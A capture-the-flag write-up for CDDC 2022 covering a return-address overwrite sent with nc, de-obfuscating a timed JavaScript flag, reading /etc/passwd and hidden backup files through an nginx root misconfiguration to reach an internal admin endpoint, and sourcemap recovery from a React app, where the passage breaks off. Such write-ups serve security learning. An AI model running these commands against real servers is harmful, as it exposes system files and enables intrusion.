GNU gdb (Debian 10.1-2+b1) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from overwriteme...
(No debugging symbols found in overwriteme)
(gdb) run </tmp/t
Starting program: /home/hacker/Stuff/cddc2022/overwriteme </tmp/t
Key : Login Successful!
Program received signal SIGSEGV, Segmentation fault.
0x00000a0000400837 in ?? ()
(gdb) q
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ python3 -c "print('weakpass\x00'+'A'*15+'\x37\x08\x40\x00\x00\x00\x00\x00')" | nc 18.141.181.118 7013
Key : Login Successful!
flag : CDDC22{Funct10n_4ddress_Overw1ted_@H_!}
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
CDDC22{Funct10n\_4ddress\_Overw1ted\_@H\_!}
Pwn - Unintialised
I lost my writeup stuff, but basically
- login using password weakpass
- Read flag from file to variable using the 3rd option
- Read flag from variable using 4th option
Ring 4
Web - JS more
Firstly, I tried reading the source code of the webpage file given
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cat js_more.html
<html>
<head>
<meta charset='utf-8'>
<title>Execute ME?</title>
<style>
body{background-color:#000000;color:#ffffff;font-weight:bold;font-size:30px}.main{text-align:center;margin-top:40vh}.flag{text-align:center;background-image:linear-gradient(90deg,red,yellow,green,blue,purple);-webkit-background-clip:text;color:transparent;font-weight:bold;font-size:40px;margin:0px 15vw}
</style>
</head>
<body>
<div class="main">
The Flag is<br />
</div>
<script>
var _0x1201f9=_0x1a3a;(function(_0x5cb7d3,_0x27d23f){var _0x5eb7a1=_0x1a3a,_0x21409f=_0x5cb7d3();while(!![]){try{var _0x5e597b=-parseInt(_0x5eb7a1(0xee))/0x1+parseInt(_0x5eb7a1(0xef))/0x2*(-parseInt(_0x5eb7a1(0xeb))/0x3)+-parseInt(_0x5eb7a1(0xe7))/0x4*(parseInt(_0x5eb7a1(0xe4))/0x5)+-parseInt(_0x5eb7a1(0xe5))/0x6*(parseInt(_0x5eb7a1(0xf8))/0x7)+-parseInt(_0x5eb7a1(0xe8))/0x8*(parseInt(_0x5eb7a1(0xf4))/0x9)+-parseInt(_0x5eb7a1(0xe2))/0xa*(-parseInt(_0x5eb7a1(0xf0))/0xb)+-parseInt(_0x5eb7a1(0xf5))/0xc*(-parseInt(_0x5eb7a1(0xe1))/0xd);if(_0x5e597b===_0x27d23f)break;else _0x21409f['push'](_0x21409f['shift']());}catch(_0x25f023){_0x21409f['push'](_0x21409f['shift']());}}}(_0x5d00,0x60c52));function fa(_0x407309,_0xac7f0e){var _0x199c6b=_0x1a3a,_0x1fb69f='';for(var _0x301dc4=0x0;_0x301dc4<_0x407309[_0x199c6b(0xf1)];_0x301dc4++){_0x1fb69f+=String[_0x199c6b(0xf9)](_0x407309[_0x301dc4]['charCodeAt']()^_0xac7f0e%0x80);}return _0x1fb69f;}function _0x5d00(){var _0xe6d298=['Btoa','717866rOhIoX','2iUmMYl','16753HTOfbk','length','\x0aThe\x20Flag\x20is<br>','hover','52011QIGRor','6876byriEV','CDDC','main','129213UdXdci','fromCharCode','44707REhrQw','10NLXoNi','getElementsByClassName','10qafWGT','18ivdefL','<div\x20class=\x27flag\x27>','970936XpWFIH','424KAmkcF','</div>','encode','32106HGwwAO','TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk='];_0x5d00=function(){return _0xe6d298;};return _0x5d00();}function fb(_0xcd3d66,_0x1414b5){return _0x1414b5%0x1f4==0x0&&(_0xcd3d66=atob(_0xcd3d66)),_0xcd3d66=fa(_0xcd3d66,_0x1414b5),_0xcd3d66;}function _0x1a3a(_0x558caf,_0x498ad9){var _0x5d005c=_0x5d00();return _0x1a3a=function(_0x1a3a7e,_0x46c4d8){_0x1a3a7e=_0x1a3a7e-0xe1;var _0x37da4c=_0x5d005c[_0x1a3a7e];return _0x37da4c;},_0x1a3a(_0x558caf,_0x498ad9);}function fc(_0x2f5e4d){var _0x4ea9f2=_0x1a3a;_0x2f5e4d=_0x4ea9f2(0xf2)+_0x2f5e4d+'\x0a',document[_0x4ea9f2(0xe3)](_0x4ea9f2(0xf7))[0x0]['innerHTML']=_0x2f5e4d;}var a='Array',b=_0x1201f9(0xed),c=_0x1201f9(0xf6),d=_0x1201f9(0xec),e=_0x1201f9(0xea),f='',g='',h=_0x1201f9(0xf3),i=0x1388,j=0x0,k=0x0,l=0x0,m=0x3,n=0x2,record=setInterval(function(){g='',j=l%0xa;if(j<0x5)for(k=0x0;k<j;k++){g=g+'.\x20';}else for(k=0x0;k<0xa-j;k++){g=g+'.\x20';}fc(g),l++;},0x3e8);d=atob(d);var decode=setInterval(function(){var _0x17ca40=_0x1201f9;i--,d=fb(d,i),i==0x0&&(clearTimeout(record),clearTimeout(decode),fc(_0x17ca40(0xe6)+d+_0x17ca40(0xe9)));},0xea60);
</script>
</body>
</html>
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
The javascript code looks obfuscated, so i deobfuscated it using https://deobfuscate.io/. The interesting parts of the code is the setInterval (record and decode variables). If i trigger it ahead of time (by modifying the code directly), I could show the flag earlier then the 3 days needed to wait for it.
var _0x1201f9 = _0x1a3a;
(function (_0x5cb7d3, _0x27d23f) {
var _0x5eb7a1 = _0x1a3a, _0x21409f = _0x5cb7d3();
while (true) {
try {
var _0x5e597b = -parseInt(_0x5eb7a1(238)) / 1 + parseInt(_0x5eb7a1(239)) / 2 * (-parseInt(_0x5eb7a1(235)) / 3) + -parseInt(_0x5eb7a1(231)) / 4 * (parseInt(_0x5eb7a1(228)) / 5) + -parseInt(_0x5eb7a1(229)) / 6 * (parseInt(_0x5eb7a1(248)) / 7) + -parseInt(_0x5eb7a1(232)) / 8 * (parseInt(_0x5eb7a1(244)) / 9) + -parseInt(_0x5eb7a1(226)) / 10 * (-parseInt(_0x5eb7a1(240)) / 11) + -parseInt(_0x5eb7a1(245)) / 12 * (-parseInt(_0x5eb7a1(225)) / 13);
if (_0x5e597b === _0x27d23f) break; else _0x21409f.push(_0x21409f.shift());
} catch (_0x25f023) {
_0x21409f.push(_0x21409f.shift());
}
}
}(_0x5d00, 396370));
function fa(_0x407309, _0xac7f0e) {
var _0x199c6b = _0x1a3a, _0x1fb69f = "";
for (var _0x301dc4 = 0; _0x301dc4 < _0x407309[_0x199c6b(241)]; _0x301dc4++) {
_0x1fb69f += String[_0x199c6b(249)](_0x407309[_0x301dc4].charCodeAt() ^ _0xac7f0e % 128);
}
return _0x1fb69f;
}
function _0x5d00() {
var _0xe6d298 = ["Btoa", "717866rOhIoX", "2iUmMYl", "16753HTOfbk", "length", "\nThe Flag is<br>", "hover", "52011QIGRor", "6876byriEV", "CDDC", "main", "129213UdXdci", "fromCharCode", "44707REhrQw", "10NLXoNi", "getElementsByClassName", "10qafWGT", "18ivdefL", "<div class='flag'>", "970936XpWFIH", "424KAmkcF", "</div>", "encode", "32106HGwwAO", "TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk="];
_0x5d00 = function () {
return _0xe6d298;
};
return _0x5d00();
}
function _0x1a3a(_0x558caf, _0x498ad9) {
var _0x5d005c = _0x5d00();
return _0x1a3a = function (_0x1a3a7e, _0x46c4d8) {
_0x1a3a7e = _0x1a3a7e - 225;
var _0x37da4c = _0x5d005c[_0x1a3a7e];
return _0x37da4c;
}, _0x1a3a(_0x558caf, _0x498ad9);
}
function fc(_0x2f5e4d) {
var _0x4ea9f2 = _0x1a3a;
_0x2f5e4d = _0x4ea9f2(242) + _0x2f5e4d + "\n", document[_0x4ea9f2(227)](_0x4ea9f2(247))[0].innerHTML = _0x2f5e4d;
}
var a = "Array", b = _0x1201f9(237), c = _0x1201f9(246), d = _0x1201f9(236), e = _0x1201f9(234), f = "", g = "", h = _0x1201f9(243), i = 5e3, j = 0, k = 0, l = 0, m = 3, n = 2, record = setInterval(function () {
g = "", j = l % 10;
if (j < 5) for (k = 0; k < j; k++) {
g = g + ". ";
} else for (k = 0; k < 10 - j; k++) {
g = g + ". ";
}
fc(g), l++;
}, 1e3);
d = atob(d);
var decode = setInterval(function () {
var _0x17ca40 = _0x1201f9;
i--, d = (i % 500 == 0 && (d = atob(d)), d = fa(d, i), d), i == 0 && (clearTimeout(record), clearTimeout(decode), fc(_0x17ca40(230) + d + _0x17ca40(233)));
}, 6e4);
Modified the code to
- Reduce the decode timeout
- Remove fg(g) function call from the record timeout
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cp js_more.html js_more.mod.html
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nano js_more.mod.html
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cat js_more.mod.html
<html>
<head>
<meta charset='utf-8'>
<title>Execute ME?</title>
<style>
body{background-color:#000000;color:#ffffff;font-weight:bold;font-size:30px}.main{text-align:center;margin-top:40vh}.flag{text-align:center;background-image:linear-gradient(90deg,red,yellow,green,blue,purple);-webkit-background-clip:text;color:transparent;font-weight:bold;font-size:40px;margin:0px 15vw}
</style>
</head>
<body>
<div class="main">
The Flag is<br />
</div>
<script>
var _0x1201f9=_0x1a3a;(function(_0x5cb7d3,_0x27d23f){var _0x5eb7a1=_0x1a3a,_0x21409f=_0x5cb7d3();while(!![]){try{var _0x5e597b=-parseInt(_0x5eb7a1(0xee))/0x1+parseInt(_0x5eb7a1(0xef))/0x2*(-parseInt(_0x5eb7a1(0xeb))/0x3)+-parseInt(_0x5eb7a1(0xe7))/0x4*(parseInt(_0x5eb7a1(0xe4))/0x5)+-parseInt(_0x5eb7a1(0xe5))/0x6*(parseInt(_0x5eb7a1(0xf8))/0x7)+-parseInt(_0x5eb7a1(0xe8))/0x8*(parseInt(_0x5eb7a1(0xf4))/0x9)+-parseInt(_0x5eb7a1(0xe2))/0xa*(-parseInt(_0x5eb7a1(0xf0))/0xb)+-parseInt(_0x5eb7a1(0xf5))/0xc*(-parseInt(_0x5eb7a1(0xe1))/0xd);if(_0x5e597b===_0x27d23f)break;else _0x21409f['push'](_0x21409f['shift']());}catch(_0x25f023){_0x21409f['push'](_0x21409f['shift']());}}}(_0x5d00,0x60c52));function fa(_0x407309,_0xac7f0e){var _0x199c6b=_0x1a3a,_0x1fb69f='';for(var _0x301dc4=0x0;_0x301dc4<_0x407309[_0x199c6b(0xf1)];_0x301dc4++){_0x1fb69f+=String[_0x199c6b(0xf9)](_0x407309[_0x301dc4]['charCodeAt']()^_0xac7f0e%0x80);}return _0x1fb69f;}function _0x5d00(){var _0xe6d298=['Btoa','717866rOhIoX','2iUmMYl','16753HTOfbk','length','\x0aThe\x20Flag\x20is<br>','hover','52011QIGRor','6876byriEV','CDDC','main','129213UdXdci','fromCharCode','44707REhrQw','10NLXoNi','getElementsByClassName','10qafWGT','18ivdefL','<div\x20class=\x27flag\x27>','970936XpWFIH','424KAmkcF','</div>','encode','32106HGwwAO','TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk='];_0x5d00=function(){return _0xe6d298;};return _0x5d00();}function fb(_0xcd3d66,_0x1414b5){return _0x1414b5%0x1f4==0x0&&(_0xcd3d66=atob(_0xcd3d66)),_0xcd3d66=fa(_0xcd3d66,_0x1414b5),_0xcd3d66;}function _0x1a3a(_0x558caf,_0x498ad9){var _0x5d005c=_0x5d00();return _0x1a3a=function(_0x1a3a7e,_0x46c4d8){_0x1a3a7e=_0x1a3a7e-0xe1;var _0x37da4c=_0x5d005c[_0x1a3a7e];return _0x37da4c;},_0x1a3a(_0x558caf,_0x498ad9);}function fc(_0x2f5e4d){var _0x4ea9f2=_0x1a3a;_0x2f5e4d=_0x4ea9f2(0xf2)+_0x2f5e4d+'\x0a',document[_0x4ea9f2(0xe3)](_0x4ea9f2(0xf7))[0x0]['innerHTML']=_0x2f5e4d;}var a='Array',b=_0x1201f9(0xed),c=_0x1201f9(0xf6),d=_0x1201f9(0xec),e=_0x1201f9(0xea),f='',g='',h=_0x1201f9(0xf3),i=0x1388,j=0x0,k=0x0,l=0x0,m=0x3,n=0x2,record=setInterval(function(){g='',j=l%0xa;if(j<0x5)for(k=0x0;k<j;k++){g=g+'.\x20';}else for(k=0x0;k<0xa-j;k++){g=g+'.\x20';}l++;},0x3e8);d=atob(d);var decode=setInterval(function(){var _0x17ca40=_0x1201f9;i--,d=fb(d,i),i==0x0&&(clearTimeout(record),clearTimeout(decode),fc(_0x17ca40(0xe6)+d+_0x17ca40(0xe9)));},0x01);
</script>
</body>
</html>
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
After that just wait for less than a min for the flag to show up
CDDC22{Th1s\_is\_FLAG\_4ft3r\_tHe\_c0mpeT1tI0n;->}
Web - Test Page
Test Site
This challenge mainly asks you to find the vulnerability in the nginx server.
Out on a whim, I ran nikto, a web vulnerability scanner, on the webpage. This got me some interesting results, most notably
- You can access /etc/passwd
- There is a /test directory, which lists the contents inside. However, the .bak files are unaccessible
┌──(kali㉿localhost)-[~]
└─$ nikto -h http://54.255.223.3:7777/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 54.255.223.3
+ Target Hostname: 54.255.223.3
+ Target Port: 7777
+ Start Time: 2022-06-22 09:06:00 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.21.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://54.255.223.3:7777/index.html
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. The value is "172.18.0.3".
+ ///etc/passwd: The server install allows reading of any system file by adding an extra '/' to the URL.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-3268: /test/: Directory indexing found.
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3092: /etc/passwd: An '/etc/passwd' file is available via the web site.
+ 7917 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2022-06-22 09:15:51 (GMT0) (591 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(kali㉿localhost)-[~]
└─$
Test to access /etc/passwd
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
nginx:x:101:101:nginx user,,,:/nonexistent:/bin/false
┌──(kali㉿localhost)-[~]
└─$
Accessing the /test
endpoint
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/
<html>
<head><title>Index of /test/</title></head>
<body>
<h1>Index of /test/</h1><hr><pre><a href="../">../</a>
<a href="files/">files/</a> 20-May-2022 02:40 -
<a href="static/">static/</a> 20-May-2022 02:40 -
</pre><hr></body>
</html>
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/
<html>
<head><title>Index of /test/files/</title></head>
<body>
<h1>Index of /test/files/</h1><hr><pre><a href="../">../</a>
<a href="1.bak">1.bak</a> 19-May-2022 12:33 523
<a href="2.bak">2.bak</a> 19-May-2022 12:33 512
</pre><hr></body>
</html>
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/1.bak
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.21.1</center>
</body>
</html>
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/test/files/2.bak
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.21.1</center>
</body>
</html>
┌──(kali㉿localhost)-[~]
└─$
Since you could access /etc/passwd
, I was thinking if you could access files from the root directory (provided the nginx user can access it). I tried accessing the nginx configuration file at /etc/nginx/nginx.conf (Common location)
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/etc/nginx/nginx.conf
user nginx;
events {
worker_connections 512;
}
http {
server {
listen 7777;
location / {
root /;
try_files /usr/share/nginx/html/$uri $uri @go;
}
location @go {
return 302 /index.html;
}
location /test {
autoindex on;
alias /usr/share/nginx/html/test/;
location /test/static {
alias /usr/share/nginx/html/test/static/;
}
location /test/files/ {
location ~* .(bak)$ {
return 403;
}
}
}
location /h1dd3n-3ndp01nt {
rewrite /h1dd3n-3ndp01nt/(.*) /$1 break;
proxy_pass http://internal-server:8888;
}
}
}
┌──(kali㉿localhost)-[~]
└─$
This nginx config file shows a few things
- The root of the web server is / of the file system. This confirms that you can read all files from root provided the nginx user has the proper permissions
/test
endpoint on the webserver is/usr/share/nginx/html/test/
on the file system- The .bak files is only blocked through the
/test/files/
endpoint
- The .bak files is only blocked through the
- There is a
/h1dd3n-3ndp01nt
which directs request to an internal server
To access the .bak files, instead of using the /test/ endpoint, we could traverse to the files from root.
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/usr/share/nginx/html/test/files/1.bak
user nginx;
events {
worker_connections 512;
}
http {
server {
listen 7777;
location / {
root /;
try_files /usr/share/nginx/html/$uri $uri @go;
}
location @go {
return 302 /index.html;
}
location /test {
autoindex on;
alias /usr/share/nginx/html/test/;
location /test/static {
alias /usr/share/nginx/html/test/static/;
}
location /test/files/ {
location ~* .(bak)$ {
return 403;
}
}
}
...
...
...
┌──(kali㉿localhost)-[~]
└─$
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/usr/share/nginx/html/test/files/2.bak
package main
import (
"fmt"
"log"
"net/http"
"os"
"github.com/gorilla/mux"
)
func handlePing(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, "pong")
}
func handleAdmin(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Flag", os.Getenv("FLAG"))
}
func main() {
r := mux.NewRouter()
r.HandleFunc("/ping", handlePing).Methods(http.MethodGet)
r.HandleFunc("/admin", handleAdmin).Methods(http.MethodPut)
if err := http.ListenAndServe(":8888", r); err != nil {
log.Fatalln(err)
}
}
┌──(kali㉿localhost)-[~]
└─$
The first .bak file looks like a backup nginx configuration file. The second looks like the code to the hidden endpoint, where we can access the flag by giving a PUT endpoint to the /admin endpoint
I then tried to access the endpoint.
┌──(kali㉿localhost)-[~]
└─$ curl http://54.255.223.3:7777/h1dd3n-3ndp01nt/admin -X PUT -v
* Trying 54.255.223.3:7777...
* Connected to 54.255.223.3 (54.255.223.3) port 7777 (#0)
> PUT /h1dd3n-3ndp01nt/admin HTTP/1.1
> Host: 54.255.223.3:7777
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.21.1
< Date: Wed, 22 Jun 2022 10:54:13 GMT
< Content-Length: 0
< Connection: keep-alive
< Flag: CDDC22{dlrjtdmsvmfformdlqslek.gotjrgoehdkandmlaldjqtdjdy~answpvnfdjwntutjrkatkgkqslek!}
<
* Connection #0 to host 54.255.223.3 left intact
┌──(kali㉿localhost)-[~]
└─$
CDDC22{dlrjtdmsvmfformdlqslek.gotjrgoehdkandmlaldjqtdjdy~answpvnfdjwntutjrkatkgkqslek!}
Ring 3
Web - SPA
This is a challenge asking you to login to the administrator account.
In web development terms, SPA stands for Single Page Application. This means that the entire webpage & code is loaded all at once. The code is generally bundled in a single file or a similar method using something like webpack.
On loading the webapp, the icon for the webpage is React, suggesting that it uses React (A Javascript Framework mainly for Single Page Applications), and it is an SPA. The Web page then asks you to login.
My first thought was to Google on how to get the source code from SPAs. This lead me to https://github.com/rarecoil/unwebpack-sourcemap, a tool to get the source code from SPAs bundled using webpack (like React Apps).
┌──(kali㉿localhost)-[~]
└─$ cd Documents/cddc2022/unwebpack-sourcemap/
.git/ README.md unwebpack_sourcemap.py
.gitignore example-react-ts-app/
LICENSE requirements.txt
┌──(kali㉿localhost)-[~]
└─$ cd Documents/cddc2022/unwebpack-sourcemap/
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ mkdir output
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ --detect "--detect "http://localhost:3000/" output^Coutput
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ ./unwebpack_sourcemap.py --detect "http://54.254.185.105:5959/#/login" output
Detecting sourcemaps in HTML at http://54.254.185.105:5959/#/login
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/bundle.js.map
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/0.chunk.js.map
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/main.chunk.js.map
Writing bootstrap...
Writing extends.js...
Writing index.js...
Writing index.js...
Writing xhr.js...
Writing axios.js...
Writing Cancel.js...
Writing CancelToken.js...
Writing isCancel.js...
Writing Axios.js...
Writing InterceptorManager.js...
Writing buildFullPath.js...
Writing createError.js...
Writing dispatchRequest.js...
Writing enhanceError.js...
Writing mergeConfig.js...
Writing settle.js...
Writing transformData.js...
Writing defaults.js...
Writing bind.js...
Writing buildURL.js...
Writing combineURLs.js...
Writing cookies.js...
Writing isAbsoluteURL.js...
Writing isAxiosError.js...
Writing isURLSameOrigin.js...
Writing normalizeHeaderName.js...
Writing parseHeaders.js...
Writing spread.js...
Writing utils.js...
Writing arrayWithHoles.js...
Writing assertThisInitialized.js...
Writing classCallCheck.js...
Writing createClass.js...
Writing defineProperty.js...
Writing getPrototypeOf.js...
Writing inherits.js...
Writing objectWithoutProperties.js...
Writing objectWithoutPropertiesLoose.js...
Writing possibleConstructorReturn.js...
Writing setPrototypeOf.js...
Writing typeof.js...
Writing iterableToArrayLimit.js...
Writing nonIterableRest.js...
Writing slicedToArray.js...
Writing index.js...
Writing templates.js...
Writing conversions.js...
Writing index.js...
Writing route.js...
Writing index.js...
Writing css-base.js...
Writing index.js...
Writing history.js...
Writing hoist-non-react-statics.cjs.js...
Writing inherits_browser.js...
Writing browser.js...
Writing index.js...
Writing json3.js...
Writing index.js...
Writing punycode.js...
Writing index.js...
